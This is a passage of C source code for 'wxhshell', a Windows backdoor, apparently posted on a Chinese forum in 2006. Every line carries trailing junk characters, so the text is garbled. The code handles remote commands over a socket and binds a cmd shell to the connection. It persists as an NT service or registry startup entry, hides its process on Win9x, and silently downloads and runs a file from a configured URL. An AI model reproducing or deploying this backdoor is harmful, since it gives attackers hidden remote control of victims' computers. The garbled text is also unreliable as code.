  case '?': { Gv}h/zu-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9m fYB  
    break; e$^O_e  
  } S)*eAON9  
  // 安装 Qy@r&  
  case 'i': { )#dP:  
    if(Install()) ^25[%aJI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qQRA|n*  
    else Y<S,Xr;J:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @kLpK  
    break; ?9801Da#/  
    } `jb?6;15  
  // 卸载 $u9y H Z  
  case 'r': { <3>Ou(F  
    if(Uninstall()) xCV3HnZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ITMAC\  
    else <zK9J?ZQW>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,9f$a n  
    break; @BN cIJk9  
    } q<b;xx  
  // 显示 wxhshell 所在路径 vxo iPqo  
  case 'p': { /*lSpsBn  
    char svExeFile[MAX_PATH]; &6E^<v?]  
    strcpy(svExeFile,"\n\r"); Gu:aSb  
      strcat(svExeFile,ExeFile); s3G3_&  
        send(wsh,svExeFile,strlen(svExeFile),0); Q[y75 [  
    break; (v^L2Po  
    } BS#@ehdig  
  // 重启 f,Sybf/uHh  
  case 'b': { U:E:"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W/uaNp  
    if(Boot(REBOOT)) 08S|$_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[!Q R  
    else { @&]j[if (s  
    closesocket(wsh); C/+8lA6NV  
    ExitThread(0); ?K/z`E!xhN  
    } xxm1Nog6  
    break; fO.gfHI  
    } s]r"-^eS3  
  // 关机 % ;2x.  
  case 'd': { 3D k W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Px}#{fkS  
    if(Boot(SHUTDOWN)) mMw&{7b:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U&/Jh^Yy  
    else { -C5Qh&~W  
    closesocket(wsh); SD6xi\8  
    ExitThread(0); CV 4r31w  
    } vpUS(ztvs  
    break; /9WR>NUAO  
    } 928szUo:  
  // 获取shell M#d_kDMw  
  case 's': { R/iw#.Yy  
    CmdShell(wsh); SN'LUwaMp!  
    closesocket(wsh); 2`l$uEI3oJ  
    ExitThread(0); F#Oqa^$(  
    break; E q.?Ga  
  } (CH F=g  
  // 退出 ;{ Y|n_  
  case 'x': { UtiS?w6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :D?%!Q 0  
    CloseIt(wsh); N.u)Mbe   
    break; HT5G HkT  
    } Z| +/Wl-h  
  // 离开 Ne.W-,X^cL  
  case 'q': { }yU,_:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /"Om-DK%  
    closesocket(wsh); h8O[xca/~  
    WSACleanup(); @B~/0 9  
    exit(1); rBkf@  
    break; Q4Q*5>  
        } lyx p:  
  } lvb0dOmY  
  } V D.p"F(]  
!w98 [BE7  
  // 提示信息 +tOBt("5/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s%J|r{F6  
} abCcZ<=|b  
  } ?4_^}B9  
|jaUVE_2[  
  return; &|26x >  
} U\ y?P:yy  
* KFsO1j  
// shell模块句柄 !/['wv@  
int CmdShell(SOCKET sock) W<B8PS$  
{ /U6G?3b  
STARTUPINFO si; 5 8p_b  
ZeroMemory(&si,sizeof(si)); _pKW($\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -";'l @D=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VA)3=82n  
PROCESS_INFORMATION ProcessInfo; yGH'|`  
char cmdline[]="cmd"; (ZjIwA9>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Gj$$IAe  
  return 0; 3b{8c8N^  
} &H,j .~a&l  
Hv<%_t_/  
// 自身启动模式 ev#d1s|<S  
int StartFromService(void) M{:gc7%  
{ ,ibI@8;#~'  
typedef struct x"v5'EpL  
{ i3*?fMxhu)  
  DWORD ExitStatus; Wb!%_1dER  
  DWORD PebBaseAddress; 0;3;Rs  
  DWORD AffinityMask; Y+V*$73`  
  DWORD BasePriority; <2ffcBv  
  ULONG UniqueProcessId; lyIstfRh15  
  ULONG InheritedFromUniqueProcessId; HPCgv?E3  
}   PROCESS_BASIC_INFORMATION; 7J,W#Ql)5  
{{[).o/  
PROCNTQSIP NtQueryInformationProcess; ^QB/{9#  
|RwD]2H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,u{d@U^)3@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bu%@1:l  
)Bl% {C  
  HANDLE             hProcess; (Y'rEc#H&z  
  PROCESS_BASIC_INFORMATION pbi; ph30/*8  
l`gRw4 /$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cr4shdN34  
  if(NULL == hInst ) return 0; {mw,U[C  
H[<"DP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L1Fn;nR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g;\zD_":l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e&7GW9FSg  
~VUNN[  
  if (!NtQueryInformationProcess) return 0; PFG):i-?  
Z,,Da|edH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BYVp~!u  
  if(!hProcess) return 0; ZHICpL  
+sE81B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vs8os+  
X5qU>'?`  
  CloseHandle(hProcess); wv ,F>5P  
A T+|}B!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZGzrh`j{-  
if(hProcess==NULL) return 0; \@['V   
gO4J[_  
HMODULE hMod; X+P& up06  
char procName[255]; E` XUK,b  
unsigned long cbNeeded; 3l`yy])t  
[ G[HQ)A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5xLuuKG  
_myam3[W  
  CloseHandle(hProcess); !;'U5[}8  
EZIMp8^  
if(strstr(procName,"services")) return 1; // 以服务启动 jLD=EJ  
d~S.PRg=  
  return 0; // 注册表启动 - CT?JB  
} o,D>7|h  
{^"c>'R  
// 主模块 }N2T/U  
int StartWxhshell(LPSTR lpCmdLine) Kdx?s;i  
{ ,, ]y 8P  
  SOCKET wsl; # u^FB  
BOOL val=TRUE; *ta|,  
  int port=0; sTeL4g|%{  
  struct sockaddr_in door; cm-cwPAh  
Si6%6rAhj  
  if(wscfg.ws_autoins) Install(); -Qiay/tlu  
kd|@.  
port=atoi(lpCmdLine); xlgN}M  
&{x5 |$SD  
if(port<=0) port=wscfg.ws_port; #?!)-Q%  
lx U}HM  
  WSADATA data; sUfH1w)0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S=krF yFw  
exTpy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eO (VSjo'`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @5acTY Q  
  door.sin_family = AF_INET; 9!_`HE+(XJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sA3 4`ZAa  
  door.sin_port = htons(port); '"~|L>F%G  
hP`3Ao  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  7I^(v Q  
closesocket(wsl); G5"UhnOD'  
return 1; e]uk}#4  
} U,[vfSDGr  
rbO9NRg>  
  if(listen(wsl,2) == INVALID_SOCKET) { 9"=:\PE  
closesocket(wsl); 46Nl];g1`  
return 1; *1ku2e]z  
} #kA/,qyM  
  Wxhshell(wsl); IA$:r@QNx8  
  WSACleanup(); R\A5f\L9  
!wJ~p:vRdY  
return 0; B6MMn.  
ysGK5kFz  
} asj^K|.z  
-?2ThvT  
// 以NT服务方式启动 L:XnW 1(Or  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yGZb  
{ _9Iz'-LgB  
DWORD   status = 0; BNQ~O^R0  
  DWORD   specificError = 0xfffffff; &=<x&4H+  
(gvaYKvr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "CT'^d+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fg*IHha  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p r(:99~3  
  serviceStatus.dwWin32ExitCode     = 0; \uQ(-ji  
  serviceStatus.dwServiceSpecificExitCode = 0; B3c rms['  
  serviceStatus.dwCheckPoint       = 0; Cbx/  
  serviceStatus.dwWaitHint       = 0; *S:^3{.m=  
;pBSGr 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,kpk XK  
  if (hServiceStatusHandle==0) return; ,l&Dt,  
hG uRV|`  
status = GetLastError(); HB||'gIC  
  if (status!=NO_ERROR) \P^WUWY  
{ XcR2]\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (O\5gAx  
    serviceStatus.dwCheckPoint       = 0; l<(MC R*  
    serviceStatus.dwWaitHint       = 0; 3RXq/E  
    serviceStatus.dwWin32ExitCode     = status; oa}-=hG  
    serviceStatus.dwServiceSpecificExitCode = specificError; A=I]1r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=ns.r  
    return; 7xMvf<1P  
  }  pzg|?U  
"n}J6   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )ra_`Qdcf  
  serviceStatus.dwCheckPoint       = 0; QO[!  
  serviceStatus.dwWaitHint       = 0; rt_%_f>qd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |XtN\9V.  
} Ra%RcUf~sh  
[ZZ~^U5  
// 处理NT服务事件,比如:启动、停止 (5cc{zKtR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pBL,kqYNA>  
{ Z Mt9'w;  
switch(fdwControl) -iR}kP|  
{ O7g ?x3  
case SERVICE_CONTROL_STOP: <wW#Wnc]  
  serviceStatus.dwWin32ExitCode = 0; P5P:_hr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l"W9uS;\T  
  serviceStatus.dwCheckPoint   = 0; }/4 AT  
  serviceStatus.dwWaitHint     = 0; 3PIZay  
  { r.lH@}i%n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p3&/F=T;)  
  } "|{ NRIE  
  return; ~-.}]N+([  
case SERVICE_CONTROL_PAUSE: t:eZ`6o$T\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I+ rHb< P%  
  break; 2RFYnDN  
case SERVICE_CONTROL_CONTINUE: ylUxK{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fFMGpibkM  
  break; -Ds}kdxw  
case SERVICE_CONTROL_INTERROGATE: ['~3"lK^O  
  break; =kp #v  
}; B: \\aOEj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pv17wUB  
} ~pO6C*"  
yH|[K=?S[  
// 标准应用程序主函数 9E'fM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P(l$5x]g,  
{ B5GT^DaT  
JF!JY( U,  
// 获取操作系统版本 Ew5(U`]  
OsIsNt=GetOsVer(); tSaLR90Y6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5z~rl}`v  
Iojyku\W.  
  // 从命令行安装 4w\ r `@  
  if(strpbrk(lpCmdLine,"iI")) Install(); x{6KsYEY  
,)TtI~6Q  
  // 下载执行文件 x_pS(O(C  
if(wscfg.ws_downexe) { I<`K;El'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P^&%T?Y6z  
  WinExec(wscfg.ws_filenam,SW_HIDE); )h]~< fU  
} 9t:F![rg  
A'vQtlvKA  
if(!OsIsNt) { Jz&a9  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cc/h|4  
HideProc(); [=7=zV;}4  
StartWxhshell(lpCmdLine); 2BZYC5jy  
} sD H^l)4h  
else ROlef;/A  
  if(StartFromService()) Zyt,D|eWj  
  // 以服务方式启动 HY0q!.qog  
  StartServiceCtrlDispatcher(DispatchTable); NRN3*YGo  
else 9 js!gJC  
  // 普通方式启动 x' >Nz{B,P  
  StartWxhshell(lpCmdLine); o=}}hE\H  
BgRfy2:  
return 0; $&& mGD;?K  
}
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只看该作者 1 发表于: 2006-10-10
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